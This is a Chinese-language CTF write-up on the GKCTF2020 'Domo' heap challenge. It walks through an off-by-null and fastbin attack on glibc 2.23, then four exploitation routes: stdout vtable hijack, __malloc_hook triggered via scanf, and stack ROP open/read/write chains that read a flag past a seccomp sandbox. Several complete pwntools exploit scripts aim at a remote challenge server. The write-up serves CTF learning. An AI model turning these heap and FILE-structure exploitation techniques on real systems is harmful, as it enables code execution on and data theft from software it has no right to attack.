GKCTF2020_Domo

[GKCTF2020]Domo

这个题利用的知识点还是比较多的,一开始还没啥思路,看了看大佬文章,如醍醐灌顶。然后自己一共尝试了4个EXP。不枉我花了好几天~~

环境glibc2.23 x64 保护全开

IDA

          if ( choice != 1 )
            break;
          add();                                // hook_check
                                                // malloc(size) size:0~0x120
                                                // OFF BY NULL
        }
        if ( choice != 2 )
          break;
        delete();                               // hook_check
                                                // 正常删除
                                                // 指针置零
                                                // nums减一
      }
      if ( choice != 3 )
        break;
      show();                                   // 常规show
    }
    if ( choice != 4 )
      break;
    a2 = (char **)&v5;
    edit(&v4, &v5, &v6);                        // hook_check
                                                // 任意地址写1字节
                                                // 一次性函数

题目还开启了沙箱,但是注意到沙箱初始化并没有放在程序开头,而是结尾。如果经过沙箱那就得用orw。

比较重要的漏洞就是OFF BY NULL了,edit单字节任意地址写的利用并不是必要的,在4中方法中说明

方法: 针对glibc2.23及一下的vtable指针劫持

在glibc2.23之前vtable在libc中是可读可写的,虽然在glibc2.23不可写但是IO_2_1stdou (stdin,stderr)的vtable指针可劫持,并不会像glibc2.24对指针进行检查。

大概思路是:

既然程序是在最后进行沙箱初始化,那么一个当然的想法就是在避开退出程序,在循环的过程中进行程序劫持。由于几个可劫持点都检查了malloc_hook和free_hook所以这个常规方法不可行,但是我们可以劫持menu中的puts函数及通过篡改vtable指针指向我们的fake_vtable即可。当然我们的fake_vtable填满onegadget。

过程:泄露地址

    info("*"*8 + "leaking libc_addr" + "*"*8)
    add(0x80,'A'*0x10) #0
    add(0x10,'B'*8) #1
    add(0x10,'C'*8) #2
    delete(0)
    add(0x80,'') #0
    show(0)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
    # gdb.attach(sh)
    system = libc_addr + libc.sym['system']
    show_addr('libc_addr',libc_addr)
    show_addr('system',system)

    info("*"*8 + "leaking heap_addr" + "*"*8)
    delete(1)
    delete(2)
    add(0x10,'')
    show(1)
    heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
    show_addr('heap_addr', heap_addr)

由于程序的show函数过于简单,可以方便的泄露libc地址和heap地址。heap地址用来OFF BY NULL的利用

过程:OFF BY NULL + FASTBIN ATTACK

    info("*"*8 + "fast_bin attack" + "*"*8)
    stdout_file = libc_addr + libc.sym['_IO_2_1_stdout_']
    vtable_addr = stdout_file + 0xd8
    fake_chunk = vtable_addr - 0x18
    fake_fd_bk = heap_addr + 0xd0

    show_addr('fake_chunk', fake_chunk)
    show_addr('stdout_file',stdout_file)
    show_addr('vtable_addr',vtable_addr)

    add(0x28,p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30))
    add(0x68,'B'*8)
    add(0xf0,'C'*8)
    add(0x20,'D'*8)    
    delete(4)
    payload = 'B'*0x60 + p64(0xa0)
    add(0x68,payload)
    delete(5)
  • fake_chunk:通过调试观察,然后通过edit函数打一个’\x71’进入size域即可
  • fastbin attack结合edit函数我们可以方便的获取某些空间的读写权

知道heap地址,以及vtable指针可控我们就可以轻易通过puts函数劫持程序流程

过程:FILE劫持

    info("*"*8 + "IO_FILE hijack" + "*"*8)
    delete(4)
    one_bit(fake_chunk + 0x8,'\x71')  #edit
    payload = p64(onegadget)*5 + p64(0x71) #0x24
    payload += p64(fake_chunk) + p64(onegadget)
    payload += p64(onegadget)*(0x24-8)
    add(0x120,payload)
    fake_vtable = fake_fd_bk + 0x8
    show_addr('fake_vtable',fake_vtable)

    padding = p64(onegadget)*2
    add(0x60,padding)

    payload = p64(0) + p64(fake_vtable)
    # gdb.attach(sh)
    add(0x60,payload)

这个方法考察了:

  • OFF by NULL利用
  • fastbin attack
  • IO vtable指针劫持

方法:scanf对malloc函数的调用

在setvbuf中可以发现并没有吧stdin的缓冲区彻底关闭,而是进行行缓冲,也就是说还是IO的stdin函数还是会有缓冲区,我觉得这应该是一个hint。那么我们既然不能在add,delete函数中进行hook劫持,我们还能通过scanf进行malloc_hook劫持。

大概思路:

也是一样的通过OFF BY NULL + FASTBIN ATTACK在最后一次add完成对malloc_hook的劫持,然后执行scanf时输入大量字符使其调用malloc_hook,从而执行onegadget

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Square_R
#Time: 2021.02.05 09.56.46
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'

def add(size,cont):
    sh.sendlineafter('> ','1')
    sh.sendlineafter('size:\n',str(size))
    sh.sendlineafter('content:\n',str(cont))

def one_bit(addr,bit):
    sh.sendlineafter('> ','4')
    sh.sendlineafter('addr:\n',str(addr))
    sh.sendlineafter('num:\n',str(bit))

def delete(index):
    sh.sendlineafter('> ','2')
    sh.sendlineafter('index:\n',str(index))

def show(index):
    sh.sendlineafter('> ','3')
    sh.sendlineafter('index:\n',str(index))

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))


host = 'node3.buuoj.cn'
port = 27269
local = int(sys.argv[1])
if local:
    # context.log_level = 'debug'
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    sh = process('./domo')
else:
    # context.log_level = 'debug'
    libc=ELF('./libc.so.6')
    sh = remote(host,port)


def pwn():
    info("*"*8 + "leaking libc_addr" + "*"*8)
    add(0x80,'A'*0x10) #0
    add(0x10,'B'*8) #1
    add(0x10,'C'*8) #2
    delete(0)
    add(0x80,'') #0
    show(0)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
    # gdb.attach(sh)
    system = libc_addr + libc.sym['system']
    show_addr('libc_addr',libc_addr)
    show_addr('system',system)

    info("*"*8 + "leaking heap_addr" + "*"*8)
    delete(1)
    delete(2)
    add(0x10,'')
    show(1)
    heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
    show_addr('heap_addr', heap_addr)

    if sys.argv[1] == '1':
        onegad = [0x45226,0x4527a,0xf0364,0xf1207]
    else:
        onegad = [0x45216,0x4526a,0xf02a4,0xf1147]
    onegadget = libc_addr + onegad[2]
    show_addr('onegadget', onegadget)

    add(0x10,'')

    info("*"*8 + "fast_bin attack" + "*"*8)
    malloc_hook = libc_addr + libc.sym['__malloc_hook']
    show_addr('malloc_hook',malloc_hook)

    fake_fd_bk = heap_addr + 0xd0
    padding = p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30)
    add(0x28,padding)
    add(0x60,'B'*0x10)
    add(0xf0,'C'*0x10)
    add(0x20,'D'*0x10)
    delete(4)
    payload = 'B'*0x60 + p64(0xa0)
    add(0x68,payload)
    delete(5)
    delete(4)

    one_bit(malloc_hook-0x18,'\x71')
    payload = 'A'*0x28 + p64(0x71) + p64(malloc_hook - 0x20)
    add(0x120,payload)
    add(0x60,'')
    payload = p64(onegadget)*3
    add(0x60,payload)
    sh.sendline('0'*1280)
    # gdb.attach(sh)

if __name__ == '__main__':
    pwn()
    sh.interactive()

和第一个方法其实没什么太大的区别。但是我认为是最优解

方法: 栈劫持_0,orw

其实对于这个题,看似劫持条件恶劣(沙箱 hook检查)但是对于OFF BY NULL造成的chunk overlap是可以多次利用的.也就是说我们可以多次对某些空间进行写fastbin attack获取其读写权。那就想办法获取栈上chunk块,填入rop链

坑:seccomp_init函数会影响对空间,而一般的prctl进行规则设置不会影响堆

完整EXP(下面的过程只截取重要部分)

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Square_R
#Time: 2021.02.05 09.56.46
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'

def add(size,cont):
    sh.sendlineafter('> ','1')
    sh.sendlineafter('size:\n',str(size))
    sh.sendlineafter('content:\n',str(cont))

def one_bit(addr,bit):
    sh.sendlineafter('> ','4')
    sh.sendlineafter('addr:\n',str(addr))
    sh.sendlineafter('num:\n',str(bit))

def delete(index):
    sh.sendlineafter('> ','2')
    sh.sendlineafter('index:\n',str(index))

def show(index):
    sh.sendlineafter('> ','3')
    sh.sendlineafter('index:\n',str(index))

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))


host = 'node3.buuoj.cn'
port = 28083
local = int(sys.argv[1])
if local:
    # context.log_level = 'debug'
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    sh = process('./domo')
else:
    # context.log_level = 'debug'
    libc=ELF('./libc.so.6')
    sh = remote(host,port)


def pwn():
    info("*"*8 + "leaking libc_addr" + "*"*8)
    add(0x80,'A'*0x10) #0
    add(0x10,'B'*8) #1
    add(0x10,'C'*8) #2
    delete(0)
    add(0x80,'') #0
    show(0)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
    # gdb.attach(sh)
    system = libc_addr + libc.sym['system']
    show_addr('libc_addr',libc_addr)
    show_addr('system',system)

    info("*"*8 + "leaking heap_addr" + "*"*8)
    delete(1)
    delete(2)
    add(0x10,'')
    show(1)
    heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
    show_addr('heap_addr', heap_addr)

    if sys.argv[1] == '1':
        onegad = [0x45226,0x4527a,0xf0364,0xf1207]
    else:
        onegad = [0x45216,0x4526a,0xf02a4,0xf1147]
    onegadget = libc_addr + onegad[2]
    show_addr('onegadget', onegadget)

    add(0x10,'')

    info("*"*8 + "fast_bin attack" + "*"*8)
    __environ = libc_addr + libc.sym['__environ']
    stdout = libc_addr + libc.sym['_IO_2_1_stdout_']
    fake_fd_bk = heap_addr + 0xd0
    fake_chunk2_FILE = stdout - 0x43

    show_addr('__environ', __environ)
    show_addr('fake_chunk2_FILE',fake_chunk2_FILE)

    padding  = p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30)
    add(0x28,padding)
    add(0x60,'B'*0x10)
    add(0xf0,'C'*0x10)
    add(0x20,'D'*0x10)
    delete(4)
    payload = 'B'*0x60 + p64(0xa0)
    add(0x68,payload)
    delete(5)
    delete(4)

    payload = 'A'*0x28 + p64(0x71)
    payload += p64(fake_chunk2_FILE)
    add(0x120,payload)
    add(0x60,'')
    payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
    payload += p64(0xfbad3887) + p64(0)*3
    payload += p64(__environ) + p64(__environ+8) #for __IO_write_base
    add(0x68,payload)
    ret_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0xf0
    canary_addr = ret_addr - 0x10
    show_addr('ret_addr',ret_addr)
    show_addr('canary_addr',canary_addr)
    gdb.attach(sh)
    info("*"*8 + "canary leaking" +"*"*8)
    delete(5)
    delete(4)
    payload = 'A'*0x28 + p64(0x71)
    payload += p64(fake_chunk2_FILE)
    add(0x120,payload)
    add(0x60,'')
    payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
    payload += p64(0xfbad3887) + p64(0)*3
    payload += p64(canary_addr) + p64(canary_addr+8) #for __IO_write_base
    add(0x68,payload)
    canary = u64(sh.recv(8))
    success("canary:0x%x"%(canary))
    # gdb.attach(sh)

    info("*"*8 + "stack hijack" +"*"*8)
    fake_chunk2_ROP = ret_addr - 0x1b
    show_addr('fake_chunk2_ROP',fake_chunk2_ROP)
    PopRdi = libc_addr + libc.search(asm("pop rdi;ret")).next() #0x0000000000021112
    PopRsi = libc_addr + libc.search(asm("pop rsi;ret")).next() #0x00000000000202f8
    PopRdx = libc_addr + libc.search(asm("pop rdx;ret")).next() #0x0000000000001b92
    PopRdxRsi = libc_addr + libc.search(asm("pop rdx;pop rsi;ret")).next() #0x0000000000115189

    Call_Open = flat(PopRdi,heap_addr+0xf0,PopRdxRsi,0x1000,0,libc_addr+libc.sym['open']) #0x30
    Call_Read = flat(PopRdi,3,PopRsi,heap_addr+0xf0,libc_addr+libc.sym['read']) + '\x00'*2#0x28+2
    Call_Write = flat(PopRdi,1,libc_addr+libc.sym['write']) # 0x18

    delete(5)
    delete(4)
    payload = 'A'*0x28 + p64(0x71)
    payload += p64(fake_chunk2_ROP)
    add(0x120,payload)
    add(0x60,'')
    delete(1)
    payload = p64(canary)[-3:] + p64(0xdeadbeef) +  Call_Open +  Call_Read
    add(0x68,payload)

    delete(5)
    delete(4)
    payload = 'A'*0x28 + p64(0x71)
    payload += p64(ret_addr + 0x45 -0x8)

    add(0x120, payload)
    add(0x60,'')

    delete(0)
    payload = '\x55' + '\x00'*2 + p64(libc_addr+libc.sym['read']) + Call_Write
    add(0x60, payload)

    delete(3)
    delete(5)
    fix = p64(heap_addr) + p64(libc_addr + 0x3c4b20 + 58) 
    fix += './flag'.ljust(0x18,'\x00') + p64(0x71) + p64(0)
    add(0x120,fix)

    sh.sendlineafter('> ','5')
    info(sh.recvuntil('\n'))
'''
FAKE CHUNKS FOR IO_FILE
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7fcca5ddd5dd
prev_size: 0x-335a2239a0000000
size: 0x7f
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
'''    

if __name__ == '__main__':
    pwn()
    sh.interactive()

过程:泄露地址

    info("*"*8 + "leaking libc_addr" + "*"*8)
    add(0x80,'A'*0x10) #0
    add(0x10,'B'*8) #1
    add(0x10,'C'*8) #2
    delete(0)
    add(0x80,'') #0
    show(0)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
    # gdb.attach(sh)
    system = libc_addr + libc.sym['system']
    show_addr('libc_addr',libc_addr)
    show_addr('system',system)

    info("*"*8 + "leaking heap_addr" + "*"*8)
    delete(1)
    delete(2)
    add(0x10,'')
    show(1)
    heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
    show_addr('heap_addr', heap_addr)

那么想对stack进行fastbin attack必须知道栈地址,那咋泄露呢?我们可以通过IO_2_1_stdout + __environ进行泄露

过程:IO_stdout函数任意地址读 + 泄露栈地址

    info("*"*8 + "fast_bin attack" + "*"*8)
    __environ = libc_addr + libc.sym['__environ']
    stdout = libc_addr + libc.sym['_IO_2_1_stdout_']
    fake_fd_bk = heap_addr + 0xd0
    fake_chunk2_FILE = stdout - 0x43

    show_addr('__environ', __environ)
    show_addr('fake_chunk2_FILE',fake_chunk2_FILE)

    padding  = p64(fake_fd_bk)*2 + 'A'*0x10 + p64(0x30)
    add(0x28,padding)
    add(0x60,'B'*0x10)
    add(0xf0,'C'*0x10)
    add(0x20,'D'*0x10)
    delete(4)
    payload = 'B'*0x60 + p64(0xa0)
    add(0x68,payload)
    delete(5)
    delete(4)

    payload = 'A'*0x28 + p64(0x71)
    payload += p64(fake_chunk2_FILE)
    add(0x120,payload)
    add(0x60,'')
    payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
    payload += p64(0xfbad3887) + p64(0)*3
    payload += p64(__environ) + p64(__environ+8) #for __IO_write_base
    add(0x68,payload)
    ret_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0xf0

这里对_IO_2_1_stdout_附近的空间进行fastbin attack时可以找到fake_chunk并不需要edit的一字节写入

过程:canary泄露

由于不能在main函数的ret地址附近找到合适的0x7n的size:

pwndbg> x/8gx 0x7ffe0bae88a8 - 0x20
0x7ffe0bae8888:    0x0000000200000001    0x00007ffe0bae8980
0x7ffe0bae8898:    0x68d7f63b45ca5200    0x0000558ba2dda3e0
0x7ffe0bae88a8:    0x00007fee5a5cb840    0x0000000000000001
0x7ffe0bae88b8:    0x00007ffe0bae8988    0x000000015ade6ca0
ret_addr : 0x7ffe0bae88a8
pwndbg> x/8gx 0x7ffe0bae88a8 - 0x40
0x7ffe0bae8868:    0x0000558ba2dd9c9a    0x0000000000000000
0x7ffe0bae8878:    0x0000558ba2dda2dc    0x0000000100000001
0x7ffe0bae8888:    0x0000000200000001    0x00007ffe0bae8980 << ===== 找到这个位置
0x7ffe0bae8898:    0x68d7f63b45ca5200    0x0000558ba2dda3e0

所以只能在ret_addr上面一点找,那就必然会影响canary,所以先泄露canary,也不难用泄露栈地址的方法在泄露一次即可。而恰好我所找到的位置就在canary上方,canary最后一个字节是’\x00’刚好配合上面’\x00\x00\x7f’是4个字节符合chunk size字段。

    canary_addr = ret_addr - 0x10
    show_addr('ret_addr',ret_addr)
    show_addr('canary_addr',canary_addr)
    gdb.attach(sh)
    info("*"*8 + "canary leaking" +"*"*8)
    delete(5)
    delete(4)
    payload = 'A'*0x28 + p64(0x71)
    payload += p64(fake_chunk2_FILE)
    add(0x120,payload)
    add(0x60,'')
    payload = '\x00'*0x28 + p64(0x67056596e0000000) + '\x7f\x00\x00'
    payload += p64(0xfbad3887) + p64(0)*3
    payload += p64(canary_addr) + p64(canary_addr+8) #for __IO_write_base
    add(0x68,payload)
    canary = u64(sh.recv(8))
    success("canary:0x%x"%(canary))

但是对ROP链的处理是比教头疼的,由于我选择在ret上面一块区域获取chunk,而这个chunk大小最多我使用0x68出去canary一部分,RBP一部分只能使用不到0x60字节存放ROP链

过程:ROP链

    info("*"*8 + "stack hijack" +"*"*8)
    fake_chunk2_ROP = ret_addr - 0x1b
    show_addr('fake_chunk2_ROP',fake_chunk2_ROP)
    PopRdi = libc_addr + libc.search(asm("pop rdi;ret")).next() #0x0000000000021112
    PopRsi = libc_addr + libc.search(asm("pop rsi;ret")).next() #0x00000000000202f8
    PopRdx = libc_addr + libc.search(asm("pop rdx;ret")).next() #0x0000000000001b92
    PopRdxRsi = libc_addr + libc.search(asm("pop rdx;pop rsi;ret")).next() #0x0000000000115189

    Call_Open = flat(PopRdi,heap_addr+0xf0,PopRdxRsi,0x1000,0,libc_addr+libc.sym['open']) #0x30
    Call_Read = flat(PopRdi,3,PopRsi,heap_addr+0xf0,libc_addr+libc.sym['read'])#0x28
    Call_Write = flat(PopRdi,1,libc_addr+libc.sym['write']) # 0x18

    delete(5)
    delete(4)
    payload = 'A'*0x28 + p64(0x71)
    payload += p64(fake_chunk2_ROP)
    add(0x120,payload)
    add(0x60,'')
    delete(1)
    payload = p64(canary)[-3:] + p64(0xdeadbeef) +  Call_Open +  Call_Read
    add(0x68,payload)

这个Call_Open的ROP链只能这样构造减少Call_Read字节使用,然后利用heap_addr结尾为’\x00’的地址为了下一次的fastbin attack:

pwndbg> x/8gx 0x7ffcc1934988
0x7ffcc1934988:    0x00007f0c3d6a8112    0x000055ac3e19d100
0x7ffcc1934998:    0x00007f0c3d79c189    0x0000000000001000
0x7ffcc19349a8:    0x0000000000000000    0x00007f0c3d77e0f0
0x7ffcc19349b8:    0x00007f0c3d6a8112    0x0000000000000003
pwndbg> 
0x7ffcc19349c8:    0x00007f0c3d6a72f8    0x000055ac3e19d100   <=====
0x7ffcc19349d8:    0x00007f0c3d77e310    0xd28300b7b10a0000  
0x7ffcc19349e8:    0xd362f045cd6e3c3c    0x0000000000000000
0x7ffcc19349f8:    0x0000000000000000    0x0000000000000000

在这里前面的一个字段填入的地址的’\x7f’刚好可以作为下一次fastbin attack的size

    delete(5)
    delete(4)
    payload = 'A'*0x28 + p64(0x71)
    payload += p64(ret_addr + 0x45 -0x8)

    add(0x120, payload)
    add(0x60,'')

    delete(0)
    payload = '\x55' + '\x00'*2 + p64(libc_addr+libc.sym['read']) + Call_Write
    add(0x60, payload)

这样就可以构造一个完整的orw链,但是我最后退出程序想要触发orw链时却给我报错:

报错前的heap_info:
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x55d46be480c0 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x80d0174310000055 (invaild memory)
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55d46be482b0 (size : 0x20c60) 
       last_remainder: 0x55d46be48210 (size : 0x70) 
            unsortbin: 0x55d46be48010 (size : 0x90) <--> 0x55d46be48210 (size : 0x70)

Program received signal SIGSEGV, Segmentation fault.
0x00007fc450b4949a in malloc_consolidate (av=av@entry=0x7fc450e8fb20 <main_arena>) at malloc.c:4182
4182    malloc.c: No such file or directory.
 ► f 0     7fc450b4949a malloc_consolidate+362
   f 1     7fc450b4b688 _int_free+2344
   f 2     7fc450b4f58c free+76
   f 3     7fc450ec14b1
   f 4     7fc450ebf321
   f 5     7fc450ec0d9e
   f 6     7fc450eba767 seccomp_rule_add+135
   f 7     55e6e518836b
   f 8     7fc450aec112 iconv+194
   f 9     7fc450be0189 __lll_unlock_wake_private+25
   f 10     7fc450bc20f0 open64
────────────────────────────────────────────────────────────────────────────────

我们知道malloc_consolidate会对fastbin中的chunk合并并放入对应的bin中,所以我们在进行触发时还要把堆修复把:

    delete(3)
    delete(5)
    fix = p64(heap_addr) + p64(libc_addr + 0x3c4b20 + 58) 
    fix += './flag'.ljust(0x18,'\x00') + p64(0x71) + p64(0)  <<<<fd用NULL覆盖
    add(0x120,fix)

小结

本来我也没想到要头铁,但是多次fastbin attack确实是是一个不错的环境,只是在stack处理上比较难绕过

考察:

  • OFF BY NULL + FASTBIN ATTACK
  • IO_stdout函数任意地址读
  • stack上的ROP链构造 + orw
  • 堆恢复

方法 :栈劫持_1 + orw

上面那个方法绕的弯子太多了,可以使用利用IO_stdin实现任意地址写,在栈上构造orw

思路:

  • libc + heap地址泄露

  • IO_stdout —> 栈地址泄露

  • one_bit : 在stdin结构体的一个特定位置写入’\x71’:

  • pwndbg> x/8gx 0x7ff2453078e0-0x40
    0x7ff2453078a0 <_IO_wide_data_1+256>:    0x0000000000000000    0x0000000000000000
    0x7ff2453078b0 <_IO_wide_data_1+272>:    0x0000000000000000    0x0000000000000071  <======在这里写入,这样其fd字段是NULL,就不会出现上面那种需要恢复的情况
    0x7ff2453078c0 <_IO_wide_data_1+288>:    0x0000000000000000    0x0000000000000000
    0x7ff2453078d0 <_IO_wide_data_1+304>:    0x00007ff245306260    0x0000000000000000
    pwndbg> 
    0x7ff2453078e0 <_IO_2_1_stdin_>:    0x00000000fbad2288    0x0000559bdd90b010
    0x7ff2453078f0 <_IO_2_1_stdin_+16>:    0x0000559bdd90b010    0x0000559bdd90b010
    0x7ff245307900 <_IO_2_1_stdin_+32>:    0x0000559bdd90b010    0x0000559bdd90b010
    0x7ff245307910 <_IO_2_1_stdin_+48>:    0x0000559bdd90b010    0x0000559bdd90b010
    pwndbg> <====还有要注意的是如果在_IO_save_base不是NULL那么接下来的利用将会出问题
    0x7ff245307920 <_IO_2_1_stdin_+64>:    0x0000559bdd90c010    0x0000000000000000
  • IO_stdin —> 指向ret - 2地址

  • 通过scanf读入’5\n’ + orw

坑: 如果在_IO_save_base不是NULL的话,在触发scanf的时候会试图对该值进行free

EXP

#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Square_R
#Time: 2021.02.05 09.56.46
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'

def add(size,cont):
    sh.sendlineafter('> ','1')
    sh.sendlineafter('size:\n',str(size))
    sh.sendlineafter('content:\n',str(cont))

def one_bit(addr,bit):
    sh.sendlineafter('> ','4')
    sh.sendlineafter('addr:\n',str(addr))
    sh.sendlineafter('num:\n',str(bit))

def delete(index):
    sh.sendlineafter('> ','2')
    sh.sendlineafter('index:\n',str(index))

def show(index):
    sh.sendlineafter('> ','3')
    sh.sendlineafter('index:\n',str(index))

def show_addr(name,addr):
    log.success('The '+str(name)+' Addr:' + str(hex(addr)))


host = 'node3.buuoj.cn'
port = 27269
local = int(sys.argv[1])
if local:
    # context.log_level = 'debug'
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    sh = process('./domo')
else:
    # context.log_level = 'debug'
    libc=ELF('./libc.so.6')
    sh = remote(host,port)


def pwn():
    info("*"*8 + "leaking libc_addr" + "*"*8)
    add(0x80,'A'*0x10) #0
    add(0x10,'B'*8) #1
    add(0x10,'C'*8) #2
    delete(0)
    add(0x80,'') #0
    show(0)
    libc_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0x58 - 0x3c4b20 - 0x0a + 0x78
    # gdb.attach(sh)
    system = libc_addr + libc.sym['system']
    show_addr('libc_addr',libc_addr)
    show_addr('system',system)

    info("*"*8 + "leaking heap_addr" + "*"*8)
    delete(1)
    delete(2)
    add(0x10,'')
    show(1)
    heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0xa + 0x10
    show_addr('heap_addr', heap_addr)

    if sys.argv[1] == '1':
        onegad = [0x45226,0x4527a,0xf0364,0xf1207]
    else:
        onegad = [0x45216,0x4526a,0xf02a4,0xf1147]
    onegadget = libc_addr + onegad[2]
    show_addr('onegadget', onegadget)

    add(0x10,'')

    info("*"*8 + "fast_bin attack" + "*"*8)
    stdin = libc_addr + libc.sym['_IO_2_1_stdin_']
    stdout = libc_addr + libc.sym['_IO_2_1_stdout_']
    __environ = libc_addr + libc.sym['__environ']
    fake_chunk2_stdin = stdin -0x30
    fake_chunk2_stdout = stdout - 0x43

    show_addr('stdin',stdin)
    show_addr('fake_chunk2_stdin',fake_chunk2_stdin)
    show_addr('fake_chunk2_stdout',fake_chunk2_stdout)

    padding = p64(heap_addr+0xd0)*2 + 'A'*0x10 + p64(0x30)
    add(0x28,padding)
    add(0x60,'')
    add(0xf0,'')
    add(0x20,'')
    delete(4)
    payload = 'A'*0x60 + p64(0xa0)
    add(0x68,payload)
    delete(4)
    delete(5)

    payload = 'A'*0x28 + p64(0x71) + p64(fake_chunk2_stdout)
    add(0x120,payload)
    add(0x60,'')
    payload = '\x00'*0x30 + '\x00'*3
    payload += p64(0xfbad3887) + p64(0)*3
    payload += p64(__environ) + p64(__environ+8)
    add(0x68,payload)
    ret_addr = u64(sh.recvuntil('\x7f',timeout=0.1).ljust(8,'\x00')) - 0xf0
    show_addr('ret_addr',ret_addr)

    delete(5)
    delete(4)
    one_bit(fake_chunk2_stdin+8,'\x71')
    payload = './flag'.ljust(0x28,'\x00') + p64(0x71) + p64(fake_chunk2_stdin)
    add(0x120,payload)
    add(0x60,'')

    payload = p64(0)*4 + p64(0x00000000fbad2288)
    payload += p64(heap_addr)*6
    payload += p64(ret_addr-2) + p64(ret_addr + 0x200)

    add(0x68,payload)
    PopRdi = libc_addr + libc.search(asm("pop rdi;ret")).next() #0x0000000000021112
    PopRsi = libc_addr + libc.search(asm("pop rsi;ret")).next() #0x00000000000202f8
    PopRdx = libc_addr + libc.search(asm("pop rdx;ret")).next() #0x0000000000001b92
    PopRdxRsi = libc_addr + libc.search(asm("pop rdx;pop rsi;ret")).next() #0x0000000000115189

    Call_Open = flat(PopRdi,heap_addr+0xe0,PopRdxRsi,0x1000,0,libc_addr+libc.sym['open']) #0x30
    Call_Read = flat(PopRdi,3,PopRsi,heap_addr+0xe0,libc_addr+libc.sym['read'])#0x28
    Call_Write = flat(PopRdi,1,libc_addr+libc.sym['write']) # 0x18
    # gdb.attach(sh,'b*$rebase(0x00000000000012D7)')
    sh.sendlineafter('> ','5\n' +     Call_Open + Call_Read + Call_Write)


if __name__ == '__main__':
    pwn()
    sh.interactive()

考察:

  • OFF BY NULL + FASTBIN ATTACK
  • IO_stdout任意地址读 + IO_stdin任意地址写
  • orw

大佬文章:https://nocbtm.github.io/2020/05/24/GKCTF-pwn-writeup/#domo

https://blog.play2win.top/2020/05/27/GKCTF%202020%20Domo%E5%88%86%E6%9E%90/


  转载请注明: Squarer GKCTF2020_Domo

 上一篇
zctf_2016_note3 zctf_2016_note3
zctf_2016_note3很久没做题捞的淌口水了~ Vulnerable Code一个在self_read中: for ( i = 0LL; a2 - 1 > i; ++i ) 当a2等于0时a2-1==-1是一个signed long
2021-03-11
下一篇 
Heap中的off-by-null+unlink(House Of Botcake) Heap中的off-by-null+unlink(House Of Botcake)
个人看法因为比较难的堆题,是不会轻易让你获得chunk overlapping的,而堆的overlapping(堆溢出,chunk extending,他们的目的都差不多)是heap题中任意读写的非常重要的一个条件。而off-by-null
2020-12-06
  目录